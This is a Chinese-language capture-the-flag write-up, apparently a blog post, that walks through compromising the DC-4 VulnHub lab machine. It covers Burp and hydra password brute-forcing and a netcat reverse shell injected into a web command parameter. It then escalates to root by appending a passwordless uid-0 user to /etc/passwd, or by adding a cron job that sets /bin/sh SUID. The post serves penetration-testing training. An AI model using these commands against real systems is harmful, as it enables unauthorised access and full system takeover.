DC系列(4)DC-4靶机渗透

0x00 前提

DC-4地址:https://www.vulnhub.com/entry/dc-4,313/
DC-4官wp:https://blog.mzfr.me/vulnhub-writeups/2019-07-11-DC4

  1. 正常导入
    在这里插入图片描述

0x01 抓包爆破登陆密码

  1. 查询确定kali的ip仍为172.20.10.3,nmap扫描:nmap -a 172.20.10.0/24,发现dc-4(172.20.10.4)开放22和80端口。
    在这里插入图片描述

  2. 访问网页,没有使用CMS(无法利用已知CMS相关工具),且看起来需要admin账户登陆。
    在这里插入图片描述

  3. 为firefox设置代理:在firefox下载插件Proxy SwitchyOmega。在弹出来的设置界面中,将示例网址换成127.0.0.1。
    在这里插入图片描述

  4. 在应用程序→03 web程序→BurpSuite,打开它,常规创建。在firefox开启代理,刷新dc4界面,获得包。
    在这里插入图片描述

  5. 在网页输入admin,随意输入密码qwer1234,抓包如下,可以看到POST表单的用户和密码。
    在这里插入图片描述

  6. 右键send to intruder,在Position处先点击clean清除默认选择(“admin"和"qwer1234”),仅拖选密码“qwer1234”
    在这里插入图片描述

  7. 点击payload,load添加John字典(路径为/usr/share/john/password.lst)。
    在这里插入图片描述

  8. 右上角点击start attack,等待一定时间后,选择length栏,多点几下,调成按由大到小排列,如果出现一个不同的、更大的length值,对应的爆破密码即为admin密码。此处跑出来是happy。
    在这里插入图片描述

  9. 回到firefox,关闭代理,用admin-happy登陆,得到一个命令使用界面。
    在这里插入图片描述

0x02 反弹shell

  1. 点进command,发现只能使用列出的三个指令。
    在这里插入图片描述

  2. 再次开启代理,使用burpsuite拦截观察,右键发送给repeater。
    在这里插入图片描述

  3. 在kali终端开启7777端口监听:nc -lvvp 7777
    在这里插入图片描述

  4. 修改radio参数:nc+-nv+172.20.10.3+7777+-e+/bin/bash,利用netcat反弹shell,点击send执行
    在这里插入图片描述

  5. kali终端连接成功,利用python进入交互模式:python -c "import pty; pty.spawn('/bin/bash')"
    在这里插入图片描述

0x03 ssh登陆爆破

  1. 进入/home目录后,查看到三个用户,分别ls查看,发现只有jim目录下存在一个脚本test.sh、一个mbox文件,一个backups目录。
    在这里插入图片描述

  2. test.sh脚本内容如下,感觉没什么作用。
    在这里插入图片描述

  3. 打开backups文件夹,发现一个密码本,查看。
    在这里插入图片描述

  4. 在dc4的该目录下开放8899端口:python -m SimpleHTTPServer 8899,网页验证文件路径。
    在这里插入图片描述
    在这里插入图片描述

  5. 在kali中获取该密码本:wget 172.20.10.4:8899/old-passwords.bak
    在这里插入图片描述

  6. 重命名old-password.bak为dc4passwd.txt,同目录下创建dc4user.txt,写入刚才获取的三个用户名:charles、jim、sam。
    在这里插入图片描述

  7. 因为dc4开放22端口ssh服务,使用hydra爆破:hydra -L dc4user.txt -P dc4passwd.txt ssh://172.20.10.4,获得用户名jim、密码jibril04。
    在这里插入图片描述

  8. ssh登陆:ssh jim@172.20.10.4,提示我有一封邮件。
    在这里插入图片描述

  9. 查看jim目录下的mbox如下,这封邮件主题是test,很明显不是提示内容。
    在这里插入图片描述

  10. 前往/var/mail路径,查看jim文件,找到charles发送的密码。
    在这里插入图片描述

  11. 再次使用ssh登陆Charles用户:ssh charles@172.20.10.4,密码:^xHhA&hvim0y。登陆成功。

0x04 teehee提权

  1. 使用sudo -l查看Charles的root权限指令,发现只有teehee,使用teehee --help查看指令帮助。
    在这里插入图片描述

  2. 观察teehee指令的用法,感觉和tee指令类似。

    tee指令介绍:https://www.runoob.com/linux/linux-comm-tee.html

  3. 使用teehee命令将一个无密码用户nikris写入到/etc/passwd文件,并加入到root组中:echo "nikris::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

    //参数解释:
    //[nikris::0:0:::/bin/bash]=[用户名:密码:用户ID:组ID:用户全名:主目录:登录shell]
    //格式参考:https://www.cnblogs.com/sddai/p/10616182.html
    用户名:nikris
    密码保护:空
    uid:0(root权限)
    用户信息记录位置:0(无)
    home目录:空
    登录的命令解释器:/bin/bash
    
  4. 添加成功并查看后三行:tail -n 3 /etc/passwd
    在这里插入图片描述

  5. 切换到nikris用户,进入/root,找到flag.txt,成功。
    在这里插入图片描述

  6. 或者,使用teehee命令向“/etc/crontab”文件添加定时任务,该任务每分钟执行一次,给“/bin/sh”赋予SUID权限,即更改为4777:echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab,同样获取flag。

    定时任务(cron job)被用于安排那些需要被周期性执行的命令。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/目录。可以通过查看/etc/crontab了解用法:
    在这里插入图片描述

    在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值